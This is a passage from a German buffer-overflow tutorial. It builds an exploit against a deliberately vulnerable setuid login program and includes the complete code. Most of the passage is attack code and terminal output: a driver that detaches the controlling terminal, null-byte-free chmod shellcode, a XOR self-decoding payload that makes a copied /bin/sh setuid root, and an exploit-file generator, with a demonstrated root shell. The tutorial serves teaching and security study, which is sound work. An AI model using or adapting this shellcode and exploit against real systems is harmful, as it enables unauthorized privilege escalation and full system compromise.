Als Rücksprungadresse habe ich 0xbffffd80 genommen, das ist 44 Byte von dem Wert entfernt, den das geänderte login-Programm ausgegeben hat, und 36 Byte von dem mittels Debugger ermittelten Wert. Also mitten in die NOPs. Jetzt kommt aber noch die wirklich interessante Frage: funktioniert es auch bei dem „echten“ login, das mit root-Rechten läuft?

```
felix@cohen:~$ ./login login.txt < ex
login: password:
felix@cohen:~$ echo $?
1
```

Das Programm erwartet nach dem Prompt “password:“ eine Eingabe, liest diese also nicht aus der Datei. Auch mit Strg+C kommt man nicht raus, man muß etwas eingeben und mit Enter absenden. Natürlich ist der Rückgabewert dann 1, denn das Paßwort war nicht korrekt, und das manipulierte, überlange Paßwort wurde nicht verwendet.

Das liegt daran, daß die Funktion `getpass()` nach Möglichkeit von */dev/tty* liest, das Kontroll-Terminal des aktuellen Prozesses. Als normaler Benutzer kann man darauf nicht zugreifen, `getpass()` fällt dann auf *stdin* zurück, und das haben wir die ganze Zeit genutzt. Da das „echte“ login-Programm jedoch mit root-Rechten läuft, liest es vom Kontroll-Terminal, weshalb wir keine Daten aus Dateien unterjubeln können. Doch auch dagegen ist ein Kraut gewachsen: wenn der Prozeß kein Kontroll-Terminal besitzt, wird wieder aus *stdin* gelesen.

```
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>

int main(void)
{
        if (fork() > 0)
                return 1;

        setsid();
        close(0);
        open("ex", O_RDONLY);
        execl("./login", "login", "login.txt", NULL);
        perror("execl() failed");

        return 0;
}
```

Der Befehl `setsid()` erzeugt hier eine neue Prozeßgruppe, und diese besitzt naturgemäß kein Kontroll-Terminal. Wenn das Programm nun über dieses Programm gestartet wird, ergibt sich folgendes Verhalten:

```
felix@cohen:~$ ./driver
felix@cohen:~$ login: password: whoami
felix
```

Das Terminal ist jetzt nicht in `getpass()` verwickelt, denn der Befehl `whoami`, den ich zur Demonstration eingetippt habe, landet bei der Shell und wird ausgeführt.

Den Effekt des Exploits sehen wir hier freilich nicht, denn an den Exitcode kommen wir nicht mehr dran. Wir können auch mit `strace` nicht nachsehen, denn als normaler Benutzer kann man keine Programme mit gesetztem SUID-Bit tracen (sonst bestünde die Gefahr Daten mitzulesen, die nur für root lesbar sein sollen). Wir müssen es also glauben – und als nächstes einen Code für das Exploit schreiben, der einen anderen Effekt hat, den wir sehen können. Auf der oben stehenden Wunschliste kommt ja noch das Ändern der Zugriffsrechte für die Paßwort-Datenbank, sodaß auch *other* sie lesen darf. Das Ergebnis dieser Veränderung lässt sich bequem beobachten.

4.4. Entwicklung eines komplexeren Exploits

Um dieses Ziel zu erreichen, ist nun nur ein neuer Code, den wir einschleusen können, nötig. Bei komplizierteren Programmen ist es günstig, sie direkt testen zu können. Das ist relativ einfach, wenn man ein Programm wie dieses hier benutzt:

```
#include <stdio.h>

int main(int argc, char *argv[])
{
        char buf[1024];
        void (*func)();
        FILE *file;

        file = fopen(argv[1], "rb");
        fread(buf, 1, sizeof(buf), file);
        fclose(file);
```

```
        func = (void*)buf;
        func();
        return 0;
}
```

Wir laden also den Code einfach in einen Puffer, und rufen ihn auf, indem wir einen Funktionszeiger darauf setzen, und diesen dereferenzieren. Zum ungestörten Spielen habe ich ein neues Verzeichnis erzeugt, in dem eine Datei „login.txt“ mit den Rechten 000 liegt (es geht nur um die Datei an sich, der Inhalt spielt keine Rolle):

```
felix@cohen:~/bar$ ls -la login*
----------   1 felix    felix           0 Aug 17 14:29 login.txt
```

Unser Programm soll nun diese Zugriffsrechte auf 0666 erweitern. Es ist eine gute Idee, das Problem erst mal auf übliche Weise zu lösen, und dann erst den Code so zu tunen, daß keine „bösen Zeichen“ mehr drin vorkommen. Ein erster Entwurf sieht so aus:

```
_start:
.global _start
        movl    $15, %eax
        leal    string, %ebx
        movl    $0666, %ecx
        int     $0x80
        movl    $1, %eax
        movl    $0, %ebx
        int     $0x80

string:
        .string "login.txt"
```

Dabei ist 15 die Nummer für den Systemaufruf `chmod`, dessen erstes Argument ein Dateiname ist, während das zweite Argument die neuen Zugriffsrechte beschreibt. Das Programm tut, was es soll:

```
felix@cohen:~/bar$ as chmod.s -o chmod.o
felix@cohen:~/bar$ ld chmod.o -o chmod
felix@cohen:~/bar$ ./chmod
felix@cohen:~/bar$ echo $?
0
felix@cohen:~/bar$ ls -la login.txt
-rw-rw-rw-   1 felix    felix           0 Aug 17 14:29 login.txt
```

Nun versuchen wir mal, diesen Code als *flat binary* mit oben angegebenen Programm auszuführen:

```
felix@cohen:~/bar$ objcopy -O binary chmod
felix@cohen:~/bar$ chmod 0 login.txt
felix@cohen:~/bar$ gcc run.c -o run
felix@cohen:~/bar$ ./run chmod
felix@cohen:~/bar$ echo $?
0
felix@cohen:~/bar$ ls -la login.txt
----------   1 felix    felix           0 Aug 17 14:29 login.txt
```

Hat nicht funktioniert! Mit strace nachschnüffeln:

```
felix@cohen:~/bar$ strace ./run chmod
...
chmod("", 0666)                         = -1 ENOENT (No such file or directory)
_exit(0)                                = ?
```

Er findet den String also nicht. Das ist keine Überraschung, denn seine Adresse wird beim Assemblieren festgelegt, und das Binary hat natürlich keine Ahnung, wo im Adreßraum des Prozesses es landen wird. Was wir brauchen, ist also eine relative Adressierung. Der Systemaufruf `chmod` braucht jedoch eine absolute Adresse.

Es gibt hier einen sehr schönen Trick, der sich wiederum die Eigenschaft des Befehls `call` zu Nutze macht. Der Befehl `call` legt ja die Adresse des nächsten Befehls auf den Stack. Diesen Wert können wir vom Stack holen, und haben damit die *absolute* Adresse dieser Stelle im Code. Hier die Änderung:

```
        jmp     string
code:
        movl    $15, %eax
        popl    %ebx
        movl    $0666, %ecx
        int     $0x80
        movl    $1, %eax
        movl    $0, %ebx
        int     $0x80

string:
        call    code
        .string "login.txt"
```

Durch das Fehlende Symbol `_start` ist dieses Programm übrigens nicht mehr alleine lauffähig, wir verwenden von nun an nur noch unseren Launcher. Das Ergebnis kann sich sehen lassen:

```
felix@cohen:~/bar$ as chmod.s -o chmod
felix@cohen:~/bar$ objcopy -O binary chmod
felix@cohen:~/bar$ ls -la login.txt
----------   1 felix    felix           0 Aug 17 14:29 login.txt
felix@cohen:~/bar$ ./run chmod
felix@cohen:~/bar$ ls -la login.txt
-rw-rw-rw-   1 felix    felix           0 Aug 17 14:29 login.txt
```

Nun zur Erklärung: zu Beginn springt die Ausführung zu der Stelle `string:`. Das klappt, denn der Sprung ist relativ, im Assembler-Code steht hier sinngemäß „springe 25 Byte weiter“. Dort angekommen, wird die Stelle `code:` *aufgerufen*, der alte Wert von %eip wird also auf den Stack gelegt. Auch hier wird `code:` relativ adressiert, im Maschinencode heißt die Stelle `e8 e2 ff ff ff`, e8 ist hierbei der Befehl, und der Rest ist eine Zahl im Zweierkomplement, richtig gelesen ergibt sie -30, also „führe die Stelle 30 Byte vor dieser hier aus“ (vom Ende der Instruktion aus gerechnet). Dort angekommen, wird zuerst die 15 in %eax geladen, dann der oberste Wert vom Stack in %ebx. Dies ist genau die Startadresse der Zeichenkette, als absolute Adresse. Von dort an geht es wie gewohnt.

Die nächste mittelschwere Katastrophe ist der Maschinencode, denn er enthält erwartungsgemäß jede Menge Nullbytes, an denen sich `strcpy()` verschlucken würde:

```
felix@cohen:~/bar$ hexdump chmod
0000000 19eb 0fb8 0000 5b00 b6b9 0001 cd00 b880
0000010 0001 0000 00bb 0000 cd00 e880 ffe2 ffff
0000020 6f6c 6967 2e6e 7874 0074
000002a
```

In bekannter Weise werden nun die 32-bit-Operationen durch äquivalente Operationen ersetzt, die keine Nullbytes enthalten. Der entsprechend veränderte Code könnte so aussehen:

```
        jmp     string
code:
        xorl    %eax, %eax
        movb    $15, %al
        popl    %ebx
        xorl    %ecx, %ecx
        addw    $0666, %cx
        int     $0x80
        xorl    %eax, %eax
        inc     %eax
        xorl    %ebx, %ebx
        int     $0x80

string:
        call    code
        .string "login.txt"
```

Die dazugehörige Binärdatei:

```
0000000 15eb c031 0fb0 315b 66c9 c181 01b6 80cd
0000010 c031 3140 cddb e880 ffe6 ffff 6f6c 6967
0000020 2e6e 7874 0074
```

Nun gibt es noch eine 00. An dieser Stelle jedoch erstmal eine kleine Warnung zum Umgang mit `hexdump`: es wird mit 00 auf Vielfache von 2 Byte aufgefüllt. Das bedeutet: wenn die Datei eine ungerade Anzahl Bytes lang ist, ist das letzte 00 nicht tatsächlich in der Datei drin. Bei uns ist die Länge jedoch 38 Byte, die 00 ist also echt. Sie ist das Ende der Zeichenkette, die Direktive `.string` erzeugt einen Nullterminierten String. Wir können dies dadurch umgehen, daß wir den String ohne die Terminierung ablegen, und diese zur Laufzeit setzen. Die Adressierung ist nicht schwierig, denn in %ebx haben wir bereits den Anfang des Strings, und von dort aus 9 Zeichen weiter muß die 00 gesetzt werden. Der so aufgearbeitete Code sieht folgendermaßen aus:

```
        jmp     string
code:
        xorl    %eax, %eax
        movb    $15, %al
        popl    %ebx
        xorl    %ecx, %ecx
        movb    %cl, 9(%ebx)
        addw    $0666, %cx
        int     $0x80
        xorl    %eax, %eax
        inc     %eax
        xorl    %ebx, %ebx
        int     $0x80

string:
        call    code
        .ascii "login.txt"
```

Wir nutzen aus, daß %ecx schon genullt ist, und nehmen dessen unterstes Byte, kopieren es an die Stelle 9(%ebx), und terminieren damit den String. Der Binärcode sieht inzwischen so aus:

```
0000000 18eb c031 0fb0 315b 88c9 094b 8166 b6c1
0000010 cd01 3180 40c0 db31 80cd e3e8 ffff 6cff
0000020 676f 6e69 742e 7478
```

Damit enthält er keine '\0' oder '\n', ist also gebrauchsfertig. Das wollen wir auch sogleich an der Original-Installation testen:

```
felix@cohen:~$ ./exploit chmod 112 50 0xbffffd80 ex
Setting username 'byebye'...
50 byte padding with NOP...
the code, 40 bytes...
padding with NOPs up to 112 bytes
setting new %eip, 0xbffffd80
done.
felix@cohen:~$ ls -la login.txt
-rw-rw----   1 root     root           13 Jul 31 16:51 login.txt
felix@cohen:~$ cat login.txt
cat: login.txt: Permission denied
felix@cohen:~$ ./driver
felix@cohen:~$ login: password:
felix@cohen:~$ ls -la login.txt
-rw-rw-rw-   1 root     root           13 Jul 31 16:51 login.txt
felix@cohen:~$ cat login.txt
felix:geheim
```

Na wundervoll, wir haben erfolgreich die Zugriffsrechte der Datei verändert, und könnten nun auch einen eigenen Benutzer anlegen. Danach könnte man durch das Ändern des Exploits die Zugriffswerte zurückbiegen, sodaß es weniger auffällt. Nett.

Die Zielsetzung sieht noch eine Shell mit root-Rechten vor. Leider können wir ja das Programm nicht direkt in eine Shell verwandeln, weil wir das Kontroll-Terminal loswerden mussten. Allerdings können wir uns einfach eine Shell holen und das SUID-Bit anknipsen lassen, von dem dazu überredeten login-Programm.

Anhand diesem Beispiels soll auch eine weitere Technik gezeigt werden, die das Ersetzen von Instruktionen, um Nullbytes oder andere illegale Zeichen verschwinden zu lassen, überflüssig werden lässt.

4.5. Sich selbst verändernder Code

Die Idee ist, daß der Code codiert übertragen wird, und vor Ort decodiert wird. Klingt ein bißchen krank, aber diese Form der *Kanalcodierung* kommt immer dann vor, wenn Daten übertragen werden sollen, und das Transportmedium gewisse Zeichen nicht mag. Um Dateien (8-bit-Daten) mit E-Mails zu versenden (SMTP erwartet 7-bit-Daten), werden diese beispielsweise mit dem base64-Verfahren [7] codiert.

Dies wäre für unseren Fall gewaltiger Overkill, und würde sich auch nicht in so wenige Byte quetschen lassen. Stattdessen kommt uns ein weiteres mal die XOR-Verknüpfung zu Hilfe. Der Mathematiker sagt:

$$a \oplus b = c \Rightarrow c \oplus a = b, c \oplus b = a$$

Wenn also eine Menge Daten durch XOR-Verknüpfung mit z.B. 0x55 verschlüsselt wurde, so kann durch erneute Verknüpfung mit 0x55 das Original wiederhergestellt werden. Mit welchem Wert man verknüpfen muß, hängt davon ab, welche Zeichen man vorliegen hat, und welche man im Endergebnis meiden möchte.

Der Haken ist, daß natürlich nicht der gesamte Code so verschlüsselt sein darf. Ein Teil muß natürlich „richtiger“ Maschinencode sein, der den Rest entschlüsselt. In meinem Beispiel ist der Code so aufgebaut:

	Sprung zu end:
start:	Entschlüsselung von end: bis zum NOP
	NOP
	verschlüsselte Daten
end:	Aufruf von start:

Durch das Setzen einer Markierung (hier das NOP) erspart man sich die Anpassung an die Länge des Codes und das Mitführen von Indizes. Im verschlüsselten Bereich stehen nun wie gewohnt die Anweisungen des Codes, der ausgeführt werden soll.

Unser Ziel ist es, eine Shell mit root-Rechten zu erlangen. Dazu kopieren wir eine vorhandene Shell, und nutzen das login-Programm dazu, den Besitzer zu ändern (`chown`) sowie die Zugriffsrechte inklusive SUID-Bit (`chmod`) anzupasen. Wollen wir hoffen, daß das alles in den zur Verfügung stehenden Speicherplatz passt.

Zunächst die Entwicklung des eigentlichen Codes:

```
        jmp     end

start:
        movl    $16, %eax
        popl    %ebx
        movl    $0, %ecx
        movl    $0, %edx
        int     $0x80

        movl    $15, %eax
        movl    $06775, %ecx
        int     $0x80

        movl    $1, %eax
        movl    $0, %ebx
        int     $0x80

end:
        call    start
        .string "sh"
```

Wenn man dies mit dem Tool zum Ausführen von Shellcode probiert, wird man feststellen, daß es bereits funktioniert. Der Code ist mit 52 Byte jedoch schon recht lang, hier kann man bereits erste Einsparungen vornehmen: 32-bit-Zugriffe ersetzen. Allerdings wollen wir dies nur für das Nullsetzen verwenden, denn da beträgt die Ersparnis 3 Byte pro Ersetzung, wenn wir das `movl $16, %eax` entsprechend umbauen nur 1 Byte. Außerdem haben wir so noch ein paar Nullbytes zur Demonstration des Verfahrens drin.

Das Ergebnis hat nur noch 43 Byte, und sieht folgendermaßen aus:

```
0000000 21eb 10b8 0000 5b00 c931 d231 80cd 0fb8
0000010 0000 b900 0dfd 0000 80cd 01b8 0000 3100
0000020 cddb e880 ffda ffff 6873 0000
```

Es sind also noch jede Menge Nullbytes drin (das letzte ist wieder nur ein einziges, `hexdump` hat hier auf ein Vielfaches von 2 Byte ergänzt), der Code wäre in dieser Form also nicht verwendbar.

Als nächsten Schritt basteln wir den Entschlüsselungscode drumherum. Hierbei wird wieder zuerst das Ende angesprungen, das nicht verschlüsselt ist. Jedoch liegt die Zeichenkette nicht mehr darin. Nach dem Aufruf des Codes merken wir uns die Adresse außer in %ebx (für später) noch in %ecx für die Schleife. Für die Schleife verwenden wir den Befehl `loop`, der als Nebeneffekt das Register %ecx bei jedem Durchgang um eins dekrementiert. Das spart weiteren Code, und zeigt wieder mal auf elegante Weise, daß die x86-Architektur einen Haufen Befehle hat, die man nur bei handgeschmiedetem Code finden wird – ein Compiler löst das in der Regel anders.

Wenn beim Lesen das NOP erreicht wird, bricht die Schleife ab, und der nun entschlüsselte Code hinter der Schleife wird ausgeführt. Ich habe den Code diesmal kommentiert, damit er leichter durchschaubar wird.

```
        jmp     end             # ans Ende springen

start:
        popl    %ecx            # die Adresse des Endes merken
        movl    %ecx, %ebx      # nochmal kopieren, für später
        subb    $6, %cl         # an das Ende des verschl. Codes setzen

xor_loop:
        movb    (%ecx), %al     # ein Zeichen einlesen
        cmpb    $0x90, %al      # ist es ein NOP?
        je      xor_exit        # Wenn ja: fertig
        xorb    $0x55, %al      # mit 0x55 verxodern
        movb    %al, (%ecx)     # zurückschreiben
        loop    xor_loop        # Schleife, %ecx wird dekrementiert

xor_exit:
        nop                     # Markierung

        movl    $16, %eax       # chown
        subl    $8, %ebx        # Anfang der Zeichenkette!
        xorl    %ecx, %ecx      # auf 0 setzen (root)
        xorl    %edx, %edx      # auf 0 setzen (root bzw. wheel)
        int     $0x80           # Kernel rufen

        movl    $15, %eax       # chmod
        movl    $06775, %ecx    # Zugriffsrechte
        int     $0x80           # Kernel rufen

        movl    $1, %eax        # exit
        xorl    %ebx, %ebx      # auf 0 setzen
        int     $0x80           # Kernel rufen

        .string "sh"            # die Zeichenkette

end:
        call    start           # %eip auf den Stack legen
```

Wichtig ist, daß %ebx nochmal um 8 verringert werden muß, denn hier drin steht ja der erste Befehl nach dem call. Dieser Befehl ist 5 Byte lang, die Zeichenkette "sh" ist (mit '\0') 3 Byte lang, somit kommen wir durch die Subtraktion am Anfang der Zeichenkette raus.

Der Code zwischen dem NOP und dem Label `end:` kann nun alle Schweinereien enthalten, solange sie mit dem ausgewählten Code verschlüsselt kein „böses Zeichen" ergeben.

Diese Verschlüsselung müssen wir natürlich auch noch besorgen. Ein kurzes, und deshalb hässliches, Programm dazu ist:

```
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
        int start = strtol(argv[1], NULL, 0);
        int stop = strtol(argv[2], NULL, 0);
        int c, bytes = 0;
        unsigned char val;

        while ((c = getchar()) != EOF)
        {
                if (bytes >= start && bytes <= stop)
                {
                        val = c;
                        val ^= 0x55;
                        c = val;
                }

                bytes++;
                putchar(c);
        }

        return 0;
}
```

Als nächstes gilt es herauszufinden, von wo bis wo verschlüsselt werden muß:

```
felix@cohen:~/baz$ as suid.s -o suid.o
felix@cohen:~/baz$ objdump -d suid.o
00000014 <xor_exit>:
  14:   90              nop
...
0000003b <end>:
  3b:   e8 c2 ff ff ff  call   2 <start>
```

Also ab 0x15 (das NOP muß so stehen bleiben, damit wir es erkennen) bis einschließlich 0x3a, 0x3b gehört bereits zum `call`. Auf zum ersten Test:

```
felix@cohen:~/baz$ objcopy -O binary suid.o suid
felix@cohen:~/baz$ ./xor 0x15 0x3a < suid > xor_suid
felix@cohen:~/baz$ hexdump xor_suid
0000000 39eb 8959 80cb 06e9 018a 903c 0674 5534
0000010 0188 f4e2 ed90 5545 5555 bed6 645d 649c
0000020 9887 edd5 555a 5555 a8ec 5558 9855 edd5
0000030 5554 5555 8e64 d598 3d26 e855 ffc2 ffff
felix@cohen:~/baz$ strace ./run xor_suid
```

```
...
chown("sh", 0, 0)                       = -1 ENOENT (No such file or directory)
chmod("sh", 06775)                      = -1 ENOENT (No such file or directory)
_exit(0)                                = ?
```

Scheint ganz so, als täte dies klappen. Im verschlüsselten Code sind auch keine Nullbytes mehr zu finden (überall wo nun 55 steht, war vorher 00). Allerdings hat der gesamte Code inzwischen 64 Byte größe, und unser login-Programm garantiert uns nur 104 Byte Platz. Deshalb werden wir nur 40 Byte mit NOPs auffüllen:

```
felix@cohen:~$ ./exploit xor_suid 112 40 0xbffffd80 ex
Setting username 'byebye'...
40 byte padding with NOP...
the code, 64 bytes...
padding with NOPs up to 112 bytes
setting new %eip, 0xbffffd80
done.
felix@cohen:~$ cp /bin/sh .
felix@cohen:~$ ls -la sh
-rwxr-xr-x   1 felix    felix      426984 Aug 17 21:40 sh
felix@cohen:~$ ./driver
felix@cohen:~$ login: password:
felix@cohen:~$ ls -la sh
-rwsrwsr-x   1 root     root       426984 Aug 17 21:40 sh
felix@cohen:~$ ./sh
felix@cohen:~$ whoami
root
felix@cohen:~$ touch beweis
felix@cohen:~$ exit
exit
felix@cohen:~$ ls -la beweis
-rw-rw-r--   1 root     felix           0 Aug 17 21:41 beweis
```

Hat also bestens geklappt. Mit einer root-Shell kann man nun wirklich alles anstellen, damit wäre dieses Beispiel nach Strich und Faden ausgebeutet.

Nachwort

Genau wie die erste Auflage dieses Textes lebt auch dieser Artikel vom Feedback der Leser. Sollte irgendetwas unklar erscheinen, bitte mitteilen. Jede hilfreiche Meldung fließt in die Verbesserung des Textes ein, und hilft damit auch anderen Lesern.

Es ist zu erwarten, daß auch beim Exploiten von Programmen aller Anfang schwer ist. Wenn es mal nicht auf Anhieb klappt, nicht verzagen. Es hat sich oft als hilfreich herausgestellt, erstmal so viele Zeichen in einen Puffer zu schreiben, bis das Programm crasht, um eine Ahnung von der Größenordnung zu erhalten. Manche Compiler erzeugen wirklich komischen Maschinencode, man darf sich dadurch nicht verwirren lassen.

Wer sich nun an das Suchen von Fehlern in echten Programmen machen will, der sollte schonmal mit ein paar herben Enttäuschungen rechnen. Zum einen sind die Fehler meistens nicht offensichtlich, denn sonst wären sie gar nicht erst gemacht worden, oder aber schon längst entdeckt. Zum anderen sind nicht alle Fehler ausnutzbar. Angenommen, die Puffer im login-Beispiel wären 75 Byte groß gewesen,

so hätte man den ersten Puffer noch immer überfluten können (128 Byte in 75 Byte), jedoch hätte der zweite Puffer für den Benutzernamen den „Überschuß“ aufgenommen, sodaß man gar nicht bis zum sensiblen Bereich des Stackframes durchgekommen wäre. Das soll jetzt kein Versuch sein, den Spaß daran zu verderben. Es ist auf jeden Fall lehrreich und interessant, fremden Code nach Fehlern zu durchsuchen, und hilft oftmals auch, Fehler in eigenem Code zu vermeiden.

Zum Schluß muß auch ich noch kurz den Moralapostel mimen: ihr alle wisst, daß das Beschädigen fremden Eigentums, sowie das Ausspähen von Daten etc., im virtuellen Leben in etwa die gleichen Strafen einbringt, wie im echten Leben. Was ihr an den eigenen Rechnern macht, ist völlige Privatsache, aber kommt nicht mal im Ansatz auf die Idee, das an fremden Eigentum zu versuchen!

Ich sprach zwar von einem „lohnenden Ziel“, aber das ist so, als spräche ein Counter Strike-Veteran davon, wie toll es ist vom Dach eines Hochhauses aus Leute zu snipern. Das würde ja hoffentlich auch niemand in die Realität umsetzen, oder?

In diesem Sinne, viel Spaß mit dem neu erlangten Wissen!

A. Verwendete Programme

A.1. peter.c

```
#include <stdio.h>
#include <string.h>

int ask_user(void)
{
        int ret;
        char name[10];

        printf("Dein Name: ");
        fflush(stdout);
        gets(name);

        ret = strcmp(name, "Peter");

        if (ret == 0)
                return 1;

        return 0;
}

int main(int argc, char *argv[])
{
        int is_peter;

        printf("Dieses Programm findet den Peter!\n");

        is_peter = ask_user();

        if (is_peter == 1)
        {
                printf("Jawoll, Du bist ein echter Peter!\n");
                return 0;
        }
```

```
        printf("Oh, leider kein Peter :-/\n");

        return 0;
}
```

Ich habe übrigens nichts gegen den Namen Peter, es hätte auch Paul, Frank, Susi oder Klothilde sein können; diesmal war es eben Peter.

A.2. login.c

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void cut(char *s)
{
        while (*s && (*s != '\n'))
                s++;
        *s = '\0';
}

int split(char *buf, char **p, char **q)
{
        *p = buf;
        while (*buf && (*buf != ':'))
                buf++;

        *(buf++) = '\0';

        *q = buf;
        while (*buf && (*buf != '\n'))
                buf++;

        *buf = '\0';
        return 0;
}

int main(int argc, char *argv[])
{
        FILE *file;
        char user[50], pass[50], line[100], *p, *q;
        int success = 0;

        if (argc < 2)
        {
                fprintf(stderr, "usage: %s <database>\n", argv[0]);
                return 1;
        }

        printf("login: ");
        fflush(stdout);
        fgets(user, sizeof(user), stdin);
        cut(user);
        strcpy(pass, getpass("password: "));

        file = fopen(argv[1], "r");
```

```
        if (!file)
        {
                perror("fopen() failed");
                return 2;
        }

        while (fgets(line, sizeof(line), file))
        {
                if (split(line, &p, &q))
                        continue;

                if (strcmp(p, user))
                        continue;

                if (strcmp(q, pass))
                        continue;

                success = 1;
                break;
        }

        if (success == 1)
                return EXIT_SUCCESS;

        return EXIT_FAILURE;
}
```

A.3. exploit.c

```
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
        char code[1024];
        FILE *in, *out;
        int bytes, length, i;
        unsigned eip;
        int padding;

        if (argc < 6)
        {
                fprintf(stderr, "usage: %s <code file> <offset to %%eip> "
                        "<pdding> <new eip> <output file>\n", argv[0]);
                return 1;
        }

        in = fopen(argv[1], "rb");
        if (!in)
        {
                perror("fopen() for code file failed");
                return 2;
        }

        out = fopen(argv[5], "wb");
        if (!out)
        {
                perror("fopen() for output file failed");
                return 3;
```

```
        }

        length = atoi(argv[2]);
        padding = atoi(argv[3]);
        eip = strtoul(argv[4], NULL, 0);

        bytes = fread(code, 1, sizeof(code), in);

        printf("Setting username 'byebye'...\n");

        fprintf(out, "byebye\n");

        printf("%i byte padding with NOP...\n", padding);

        for (i = 0; i < padding; i++)
                fputc(0x90, out);

        printf("the code, %i bytes...\n", bytes);

        fwrite(code, 1, bytes, out);

        printf("padding with NOPs up to %i bytes\n", length);

        for (i = bytes + padding; i < length; i++)
                fputc(0x90, out);

        printf("setting new %%eip, 0x%.8x\n", eip);

        fwrite(&eip, 1, 4, out);

        printf("done.\n");

        fclose(in);
        fclose(out);

        return 0;
}
```

Literatur

[1] **Stephan Kallnik, Daniel Pape, Daniel Schröter, Stefan Strobel, Daniel Bachfeld**
Eingelocht – Buffer-Overflows und andere Sollbruchstellen
http://www.heise.de/security/artikel/37958

[2] **Aleph One**
Smashing The Stack For Fun And Profit
http://www.insecure.org/stf/smashstack.txt

[3] **zillion**
Writing Shellcode
http://www.safemode.org/files/zillion/shellcode/doc/Writing_shellcode.html

[4] **GDB Documentation**
http://www.gnu.org/software/gdb/documentation/

[5] **KNOPPIX - Live Linux Filesystem On CD**
`http://www.knopper.net/knoppix/`

[6] **Die Assemblerprogrammierung der Prozessoren 80x86/Pentium**
`http://www.fh-frankfurt.de/~dumbach/manuskripte.htm`, dort
Link anwählen (genauer Dateiname ändert sich scheinbar gelegentlich)

[7] **The Base16, Base32, and Base64 Data Encodings**
`ftp://ftp.ietf.org/rfc/rfc3548.txt`